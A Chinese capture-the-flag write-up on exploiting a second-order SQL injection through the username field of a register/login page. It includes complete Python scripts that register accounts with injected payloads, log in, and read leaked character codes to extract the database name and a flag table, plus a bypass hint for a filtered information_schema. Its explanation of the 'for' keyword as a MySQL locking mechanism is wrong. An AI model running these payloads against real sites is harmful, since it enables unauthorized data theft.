打開實驗環境:
實驗准備:Firefox 或 Chrome、python環境、御劍(用於掃描目錄)
非必須准備(不准備這個也能做題):Burp(SQL注入利器)、Vscode 或 Pycharm(用於寫python腳本)、火狐代理工具 ProxySwitcheroo
關於瀏覽器開啟本地代理的就不截圖了;


默認進入的是登錄頁面;login.php
打開御劍掃描目錄:


看到了注冊的地址;在雙擊打開

隨便注冊個賬號吧;



這里面沒有其他提示,還把用戶名輸出了,所以就猜測這里存在用戶名注入漏洞;

這邊開啟好了代理,打開Burp,點擊為 on ,Burp准備好了,點擊火狐瀏覽器的注冊,把表單發過去;


上面圖片里講了很多,直接操作了;

這個操作是錯誤的,嘗試了很久,這里提交的 郵箱、用戶名 需要進行URL編碼 ;這樣提交才能成功;
舉個栗子:
0'+ascii(substr((select database()) from 1 for 1))+'0
0%27%2Bascii%28substr%28%28select+database%28%29%29+from+1+for+1%29%29%2B%270
不進行URl編碼 ,他直接跳轉到 注冊頁面;也就是注冊失敗;
不試這個了,打開Vscode用腳本跑吧;
先做題前預習吧;
因為這是注冊賬號,然后數據庫讀取賬號名,觸發的SQL查詢;
所以 寫 pyload的時候 要使用 select ……for ;為啥? 這是因為 mysql數據庫的安全機制;當某個表內數據被操作的時候,不允許再對它使用其他命令;
(就像是我在超市買東西,我放到購物車里的火腿腸,這個火腿只剩一個了,現在暫時去別處拿東西,然后有的家伙也喜歡這個火腿,他就拿走了,這是不友好的)
(msyql數據庫就是這個意思,for 是啥呢,就是 那個家伙找到我,他說沒有這個火腿他活不下去,我就給了通過 for 語句告訴他,你拿走吧,沒關系的,好好活着!)
推薦倆個幫助理解鏈接:李秋、讀書人
import requests
import re as r
re = requests.session()
url = 'http://220.249.52.133:47596/'
def register(email,username):
url1 = url+'register.php'
data = dict(email=email,username=username,password='123456')
html = re.post(url=url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email=email,password='123456')
html = re.post(url=url2,data=data)
html.encoding = 'utf-8'
return html
db = ''
table = ''
for i in range(1,10): #取數據庫名
pyload = "0'+ascii(substr((select database()) from %d for 1))+'0"%i
email = "admin@ad.cn"+str(i)
html = register(email,pyload)
html = login(email)
match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
asc = match.group(1)
if asc == '0':
break
db = db + chr(int(asc))
print('database:',db)
代碼中有提到,這是取數據庫名的腳本!

看到了,數據庫名;
表名 flag (猜的),沒辦法了;下面提到 為啥 就 爆不出表名;
用表名拿 flag:中間注釋的是爆數據庫的,以及倆句想要爆數據表的(真是想想);
import requests
import re as r
re = requests.session()
url = 'http://220.249.52.133:47596/'
def register(email,username):
url1 = url+'register.php'
data = dict(email=email,username=username,password='123456')
html = re.post(url=url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email=email,password='123456')
html = re.post(url=url2,data=data)
html.encoding = 'utf-8'
return html
db = ''
table = ''
# for i in range(1,10): #取數據庫名
# pyload = "0'+ascii(substr((select database()) from %d for 1))+'0"%i
# email = "admin@ad.cn"+str(i)
# html = register(email,pyload)
# html = login(email)
# match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
# asc = match.group(1)
# if asc == '0':
# break
# db = db + chr(int(asc))
# print('database:',db)
for i in range(1,50): #取表名 information_schema.tables 被過濾; mysql.innodb_table_stats mysql.innodb_index.stats
# pyload = "0'+ascii(substr((select group_concat(table_name) from mysql.innodb_index_stats where table_schema=database()) from %d for 1))+'0"%i
# pyload = "0'+ascii(substr((select * from flag) from %d for 1))+'0"%i
pyload = "0'+ascii(substr((select * from flag) from %d for 1))+'0"%i
email = "admin4@ad.cn"+str(i)
html = register(email,pyload)
html = login(email)
match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
asc = match.group(1)
if asc == '0':
break
table += chr(int(asc))
print('table_name:',table)

怎么配置python環境,以及配置Vscode的python環境都不說了,我感覺這難不住強大的你;下面說說爆表名為啥不行!

在最后掃尾解釋一點腳本的意思吧;

有道雲筆記